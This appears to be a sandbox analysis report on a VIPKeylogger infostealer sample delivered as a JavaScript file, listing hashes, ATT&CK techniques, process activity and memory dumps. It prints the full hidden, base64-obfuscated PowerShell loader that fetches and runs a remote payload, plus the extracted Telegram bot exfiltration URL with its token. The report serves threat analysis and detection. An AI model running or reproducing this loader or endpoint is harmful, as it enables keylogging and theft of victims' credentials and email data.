vipkeylogger | de763dd66a1ce36902727f5a78c6a0b52fbbeae10e15561bc061253e1c05b501

Analysis

max time kernel
149s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/10/2026, 14:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO-101F4S SITCVN.js
Size 46KB
Sample261009-scx38sysfz
SHA256 de763dd66a1ce36902727f5a78c6a0b52fbbeae10e15561bc061253e1c05b501
MD5 cd49f50db984f77660b16eaf18a3b0aa
SHA1 a230d87a1fc987919843e6fb03888c17722b5982
SHA512 180547927f7c6cdc54f319107c628fce89876039e2cbca9ddfbb80001003dadbca949c3f03d1807ad35e290b8641f314427655a4fd83d197060506a2e8b684a9
SSDEEP 768:NOyFiyRzzQw1JE1IuIl70rO6UAtL44OM+A+L1cXwUzr4tBCo/iwpdfoHNsuP3pdq:NOyFiyRzzQw1JE1IuIl70rO6UAtL44OT
TLSH
T1A22330317CFE41FD949B7629A76F63B8552D602BF558230BC44F633186F1AC8E823962
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution vipkeylogger keylogger persistence privilege_escalation stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot8605662882:AAGOi8tNnOtTj4sPeFNCHThH6IZ5Lh938lQ/sendMessage?chat_id=8008584601

Signatures

Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3472	5064	powershell.exe	85

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3472	powershell.exe
20	3472	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3472	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PO-101F4S SITCVN.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PO-101F4S SITCVN.js	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe

Looks up external IP address via web service 1 TTPs 11 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
32	reallyfreegeoip.org
34	reallyfreegeoip.org
35	reallyfreegeoip.org
25	checkip.dyndns.org
27	reallyfreegeoip.org
28	reallyfreegeoip.org
29	reallyfreegeoip.org
30	reallyfreegeoip.org
31	reallyfreegeoip.org
33	reallyfreegeoip.org
36	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3472 set thread context of 1424	3472	powershell.exe	94

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3472	powershell.exe
3472	powershell.exe
1424	msBuild.exe
1424	msBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	1424	msBuild.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 1424	3472	powershell.exe	94
PID 3472 wrote to memory of 1424	3472	powershell.exe	94
PID 3472 wrote to memory of 1424	3472	powershell.exe	94
PID 3472 wrote to memory of 1424	3472	powershell.exe	94
PID 3472 wrote to memory of 1424	3472	powershell.exe	94

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\PO-101F4S SITCVN.js"
1⤵
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
PID:4572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezN9Y2hyaXNtYXRhID0gezB9aHR0cHM6Ly9yb3VnaC10cnV0aC1lMDcyLnB1YmxpY2Z0cHJlc2VuZC53b3JrZXJzLmRldi9wYmFvd3BpezB9OyB7M31wb3JwaHlyaW5vZ2VuID0gezB9Qzp7Mn1Vc2Vyc3syfVB1YmxpY3syfURvd25sb2Fkc3syfXBheWxvYWQudHh0ezB9OyB7M31ob2xvY2xvbmUgPScrJyBbYWN0aXZhdCcrJ29yXScrJzo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjbCcrJ2llbnRdKTsgezN9aG8nKydsb2Nsb25lLkhlYWRlcnMuQWRkKHswfVVzZXItQWdlbnR7MH0sIHswfU1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnswfSk7IHszfWhvbG9jbG9uZS5Eb3dubG9hZEZpbGUoezN9Y2hyaScrJ3NtYXRhLCB7M31wb3JwaHlyaW5vZ2VuKTsgezN9YnVycmluZyA9IChHZXQtQ29udGVudCAnKyd7M31wb3JwaHlyaW5vZ2VuIC1SYXcpOyB7M310cmVtYW5vdHVzID0gezN9YnVycmluZy5SZXBsYScrJ2NlKHsxfSp7MX0sezF9QXsxfSk7IHszfXdhcm13YXJlID0gW2NoYXJbJysnXV0oKHsnKyczfXRyZW1hbm8nKyd0dXMuVG9DaGFyQXJyYXkoKSlbKHszfXRyZW1hbm90dXMuTGVuJysnZ3RoLTEpLi4wXSk7IHszfXNldmVyaXR5ID0gWycrJ1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygtam9pbiB7M313YXJtd2FyJysnZSk7IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkxvYWQoezN9c2V2ZXJpdHkpIHs0fScrJyBPdXQtTnVsbDsgW1dpbjMyJysnLlJNUC5hYWFhJysnYWFhXTo6YWFhYWFhYWFhYWEoezF9V3NZMXZvMmpsQXFpM2NEK2xFNDNyMkc2TTZMR21aUmtzYys4RmVKRicrJ1dmSk5CaHB1LzQxczk0RllZeTBXWWthWVV4RG92a2hGeGVGejJyMFJ3dWZ2TzYrbCcrJ05tdycrJ0knKycvZ1dyRWREWGloJysnU3RHc2s9ezF9LHsxfWtiNmo1U0dONXU1eGpDUTN5WVlWbG9GaTBKOHpjQ3ZYdS9yS1pqU3VFTE09ezF9LHsxfXQ1NFRwdjM2bGtOZ2JZUjZjMUFvU0psQkcrVkhKZicrJ1hHaURBZzFKWjR6REU4YTgwRUtScEg3ZmVUK1dZMEF3Qmx7MX0sezF9Nm50MHRDYXR2RDVrNXRDcFJyWVU5Z240RHBjR0gwdWpsK2ZOVXJFWlhLOD17MX0sezF9ekhrYTBoJysnQnNCakJQTScrJ2NIa0ZueHJsOG1GJysnRjYvMkQ0TC9sV3kwWUhJR3Urcz17MX0sezF9ezF9LHsxfUJBUEJvaGtvd3N0MDJkUmJpaG5pblk4SHFCN0RiS1ZwSXdnaWpueDE4SEE9ezF9LHsxfVpzYkdGYnljQUlWSi9raVk0JysnSUxiVTFpZWdQdTdIJysnT0RLRlZlTCcrJ1VadlhUdXM9ezF9LHsxfVhzaEJtYTI5TW5MK2QnKydKMWlYeWxkUUsvSjc1JysnVUM4R0l2c2pWZXl3bHVnRkU9ezF9LHsxfU9EQ2YwJysnbGlyQmxpVnI0SScrJzFkZW1GNi9tUmRJdTJKNDBpK054cDZvV290JysnM0RQJysnSzVkMUFxd0plSlQ5RU1tdmJmclF7JysnMX0sezF9UzMwSXBPakxLWXNocE1qejBCR2pBbjdEZFVqZWlCekRyWExZUmFsbTg1TT17MX0sezF9RExqZ2ljZGh5SGc5L2ZiTkF6c1gvTy83SHM3TDBOZHpCLycrJ2MwSk9TTDJ0VT17MX0sezF9SicrJ1piYXB2Z3lBM3lWSTN3YVZ5RXMrQzRGbXl3NHFiU0RiNVlTa3dBWkJGbz17MX0nKycsezF9czMnKydLZlBqSTZHc2J5UHMnKyd6Y1AnKydIYlJsN0p1RWRWOFQzRHlhWmVPQ0l1WjgyQT17MX0sezF9djMnKydMYScrJ05GeXpuem4nKydnUUVhUGh5NDl6V0pvNDFXTUsxUVJSZ1dEVnF0YXVIVT17MScrJ30sezF9VUlhTW1ENVB2VHIzUVo5Y3FuVEhSMFhyJysnVycrJ2NNK01IUGs3U1R0c1Z4WicrJ2F3ND17MX0sezF9ezF9JysnLHsxfXsxfSx7MX17MX0pOyBSZW1vdicrJ2UtSXRlbSAtUGF0aCB7M31wb3JwaHlyaW5vZ2VuIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bCcrJ3lDb250aW51JysnZScpICAtZiBbQ2hBUl0zNCxbQ2hBUl0zOSxbQ2hBUl05MixbQ2hBUl0zNixbQ2hBUl0xMjQpfEllWA==')) } | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:1424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_pg1litwm.ag1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pg1litwm.ag1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1424-24-0x0000000006AA0000-0x0000000006AF0000-memory.dmp

Download

memory/1424-23-0x0000000006C20000-0x0000000006DE2000-memory.dmp

Download

memory/1424-28-0x0000000006C10000-0x0000000006C1A000-memory.dmp

Download

memory/1424-27-0x0000000006E90000-0x0000000006F22000-memory.dmp

Download

memory/1424-26-0x0000000005BB0000-0x0000000005BC0000-memory.dmp

Download

memory/1424-25-0x0000000007420000-0x000000000794C000-memory.dmp

Download

memory/1424-16-0x0000000000400000-0x0000000000448000-memory.dmp

Download

memory/1424-22-0x0000000005BB0000-0x0000000005BC0000-memory.dmp

Download

memory/1424-21-0x0000000005970000-0x0000000005A0C000-memory.dmp

Download

memory/1424-20-0x0000000005F20000-0x00000000064C4000-memory.dmp

Download

memory/3472-2-0x000001B108000000-0x000001B108010000-memory.dmp

Download

memory/3472-1-0x000001B108000000-0x000001B108010000-memory.dmp

Download

memory/3472-15-0x000001B108000000-0x000001B108010000-memory.dmp

Download

memory/3472-14-0x000001B108000000-0x000001B108010000-memory.dmp

Download

memory/3472-13-0x000001B122C20000-0x000001B122C44000-memory.dmp

Download

memory/3472-10-0x000001B1085C0000-0x000001B1085E2000-memory.dmp

Download